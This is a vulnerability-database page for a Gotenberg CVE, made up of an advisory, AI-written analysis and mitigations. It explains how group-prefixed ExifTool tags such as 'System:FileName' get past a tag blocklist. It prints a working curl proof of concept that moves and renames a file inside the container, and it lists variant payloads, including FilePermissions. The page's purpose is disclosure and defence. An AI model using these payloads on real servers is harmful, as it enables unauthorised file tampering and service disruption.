Skip to main content

Gotenberg EUVDEUVD-2026-30307

| CVE-2026-40893 HIGH
Improper Input Validation (CWE-20)
2026-05-04 https://github.com/gotenberg/gotenberg GHSA-62p3-hvxx-fxg4
8.2
CVSS 3.1 · GitHub Advisory
Share

Severity by source

GitHub Advisory PRIMARY
8.2 HIGH
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L

Primary rating from GitHub Advisory · only source for this CVE.

CVSS VectorGitHub Advisory

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
High
Availability
Low

Lifecycle Timeline

3
Patch available
May 14, 2026 - 18:02 EUVD
Source Code Evidence Fetched
May 04, 2026 - 20:01 vuln.today
Analysis Generated
May 04, 2026 - 20:01 vuln.today

DescriptionGitHub Advisory

Summary

Gotenberg blocks certain ExifTool tag names like FileName and Directory to stop attackers from renaming or moving files on the server. But ExifTool allows a longer form of the same tag - System:FileName - which does the exact same thing. Gotenberg only checks if the tag is exactly FileName, so System:FileName slips right through and ExifTool happily renames the file. No login is needed. One HTTP request is enough.

This bypasses the fix from GHSA-qmwh-9m9c-h36m.

Details

Think of it like a nightclub bouncer with a blocklist of banned names. The blocklist says "Block anyone named John." A person shows up and says "I'm Mr. John." The bouncer checks - "Mr. John" is not "John" - so he lets them in. But inside the club, everyone knows Mr. John IS John.

That's exactly what happens here:

The blocklist (exiftool.go line 275-280) blocks these tag names:

FileName
Directory
HardLink
SymLink

The check (exiftool.go line 295-301) compares what the user sent against this list:

go
if strings.EqualFold(key, tag) {   // is "System:FileName" equal to "FileName"?
    delete(metadata, key)            // no - so it's NOT deleted
}

System:FileName is not equal to FileName (one is 16 characters, the other is 8), so it passes through.

But ExifTool treats them as the same thing. In ExifTool, System: is just a group prefix - like a folder name before the tag. System:FileName and FileName both mean "rename this file." The ExifTool docs say: *"A tag name may include leading group names separated by colons."*

Why the colon is allowed: The key validation regex (exiftool.go line 31) explicitly permits colons:

go
var safeKeyPattern = regexp.MustCompile(`^[a-zA-Z0-9\-_.:]+$`)
//                                                    ^ colon is allowed

So the full chain is:

  1. Attacker sends System:FileName → passes the regex (colon is allowed)
  2. System:FileName → passes the blocklist (it's not equal to FileName)
  3. ExifTool receives System:FileName → treats it as FileNamerenames the file

Bonus finding: The FilePermissions tag is not in the blocklist at all. Sending {"FilePermissions": "rwxrwxrwx"} tells ExifTool to chmod the file, and nothing stops it.

PoC

Setup - start Gotenberg with default settings:

bash
docker run -d --name gotenberg-poc -p 3000:3000 gotenberg/gotenberg:8

Create a folder inside the container where we'll move the file to:

bash
docker exec gotenberg-poc mkdir -p /tmp/evil

Send the attack - one curl command:

bash
curl -X POST http://localhost:3000/forms/pdfengines/metadata/write \
  -F 'files=@any-pdf-file.pdf' \
  -F 'metadata={"System:FileName":"stolen.pdf","System:Directory":"/tmp/evil"}'

This returns HTTP 404 because the file got moved before the server could return it.

Check that the file actually moved:

bash
docker exec gotenberg-poc ls -la /tmp/evil/

Result:

-rw-r--r-- 1 gotenberg gotenberg 17789 Apr 13 07:40 stolen.pdf

The file is sitting in /tmp/evil/stolen.pdf. It was renamed from its random UUID name to stolen.pdf and moved out of the temporary directory - exactly what the blocklist was supposed to prevent.

Proof that the existing blocklist works for bare names (control test):

bash
curl -X POST http://localhost:3000/forms/pdfengines/metadata/write \
  -F 'files=@any-pdf-file.pdf' \
  -F 'metadata={"FileName":"stolen.pdf","Directory":"/tmp/evil"}'

This returns HTTP 500 - the bare FileName tag was correctly blocked. Only the System:FileName variant gets through.

Other ways to exploit the same bug:

  • system:filename (lowercase) - also works because ExifTool is case-insensitive
  • system:directory - moves the file to any writable folder
  • FilePermissions - changes the file's permissions (this tag is simply missing from the blocklist entirely)

Every endpoint that accepts the metadata field is affected, including /forms/chromium/convert/html, /forms/libreoffice/convert, /forms/pdfengines/merge, and all other conversion routes.

Impact

Any person who can send HTTP requests to Gotenberg (no login needed by default) can:

  • Move files anywhere inside the container by using System:Directory
  • Rename files to anything by using System:FileName
  • Change file permissions by using FilePermissions (this tag is not blocked at all)
  • Break the service for other users - when a file gets moved mid-request, the server returns 404 errors

In real-world deployments where Gotenberg shares a Docker volume with other services (which is common), an attacker can drop a PDF file with controlled content into that shared folder - potentially affecting whatever service reads files from there.

AnalysisAI

Remote unauthenticated attackers can bypass ExifTool tag blocklist in Gotenberg 8.x via group-prefixed tag names (e.g., 'System:FileName' instead of 'FileName'), enabling arbitrary file renaming, relocation, and permission modification within the container filesystem. One HTTP request exploits this input validation bypass (CWE-20) to circumvent protections from a prior security fix (GHSA-qmwh-9m9c-h36m). The vulnerability affects all metadata-accepting endpoints in Gotenberg's default configuration, which typically runs without authentication. No public exploit code is confirmed, but a detailed proof-of-concept is published in the GitHub advisory (GHSA-62p3-hvxx-fxg4). CVSS 8.2 reflects network vector with no authentication required, though real-world impact depends on container isolation and shared volume configurations.

Technical ContextAI

Gotenberg is a Docker-powered stateless API for converting HTML/Office documents to PDF, written in Go (github.com/gotenberg/gotenberg/v8). It integrates ExifTool for metadata manipulation. The vulnerability lies in exiftool.go's validation logic: the blocklist uses exact string comparison (strings.EqualFold) against bare tag names like 'FileName', 'Directory', 'HardLink', and 'SymLink', but ExifTool's tag specification allows group prefixes (e.g., 'System:FileName') where the group name and tag are separated by a colon. Gotenberg's regex validator explicitly permits colons in tag names (^[a-zA-Z0-9\-_.:]+$), allowing prefixed variants to pass validation. Since ExifTool internally normalizes 'System:FileName' to 'FileName' at execution time, attackers supply semantically equivalent tags that bypass blocklist checks but trigger dangerous filesystem operations. The root cause is CWE-20 (Improper Input Validation) - the filter operates on syntactic form rather than semantic meaning, creating a classic evasion scenario analogous to SQL injection's use of encoding bypasses. Additionally, 'FilePermissions' is entirely absent from the blocklist, enabling chmod operations without evasion techniques.

RemediationAI

No vendor-released patched version is confirmed in available data - the advisory lists 'fixed in: None' as of analysis time. Monitor https://github.com/gotenberg/gotenberg/security/advisories/GHSA-62p3-hvxx-fxg4 for patch announcements. Until a fix is available, apply these compensating controls: (1) Disable all metadata-accepting endpoints at the reverse proxy or API gateway level if metadata writing is not required - this blocks all attack vectors but sacrifices metadata functionality. (2) Implement strict authentication and authorization before Gotenberg endpoints to limit attacker pool (default configuration has no authentication) - reduces risk from 'anyone on the network' to 'authenticated users only' but does not prevent attacks by malicious insiders or compromised credentials. (3) Run Gotenberg in isolated containers with read-only root filesystems where feasible, mounting only necessary directories as writable with minimal permissions - limits file manipulation scope but may interfere with legitimate ExifTool operations depending on workload. (4) Deploy network segmentation to restrict Gotenberg access to trusted internal services only - prevents public internet exploitation but does not defend against lateral movement post-compromise. (5) Monitor filesystem activity in Gotenberg containers for unexpected file renames, moves to non-standard paths, or permission changes using auditd or container security tools - provides detection but not prevention. Each mitigation trades functionality or operational complexity for security; combination of controls 2, 3, and 4 offers best risk reduction until patching.

More in Docker

View all
CVE-2024-55964 CRITICAL POC
9.8 Mar 26

An issue was discovered in Appsmith before 1.52. Rated critical severity (CVSS 9.8), this vulnerability is remotely expl

CVE-2019-5736 HIGH POC
8.6 Feb 11

runc through version 1.0-rc6 (used in Docker before 18.09.2) contains a container escape vulnerability that allows attac

CVE-2023-32077 HIGH POC
7.5 Aug 24

Netmaker makes networks with WireGuard. Rated high severity (CVSS 7.5), this vulnerability is remotely exploitable, no a

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2023-5815 HIGH POC
8.1 Nov 22

The News & Blog Designer Pack - WordPress Blog Plugin - (Blog Post Grid, Blog Post Slider, Blog Post Carousel, Blog Post

CVE-2014-9357 CRITICAL
10.0 Dec 16

Docker 1.3.2 allows remote attackers to execute arbitrary code with root privileges via a crafted (1) image or (2) build

CVE-2026-34156 CRITICAL POC
9.9 Mar 30

Remote code execution in NocoBase Workflow Script Node (npm @nocobase/plugin-workflow-javascript) allows authenticated l

CVE-2019-15752 HIGH POC
7.8 Aug 28

Docker Desktop Community Edition before 2.1.0.1 allows local users to gain privileges by placing a Trojan horse docker-c

CVE-2025-34221 CRITICAL POC
10.0 Sep 29

Vasion Print (formerly PrinterLogic) Virtual Appliance Host prior to version 25.2.169 and Application prior to version 2

CVE-2024-23054 CRITICAL POC
9.8 Feb 05

An issue in Plone Docker Official Image 5.2.13 (5221) open-source software that could allow for remote code execution du

CVE-2025-23211 CRITICAL POC
9.9 Jan 28

Tandoor Recipes is an application for managing recipes, planning meals, and building shopping lists. Rated critical seve

CVE-2026-46339 CRITICAL POC
10.0 May 19

Unauthenticated remote code execution in 9router (npm package) versions 0.4.30 through 0.4.36 allows network-adjacent at

Share

EUVD-2026-30307 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy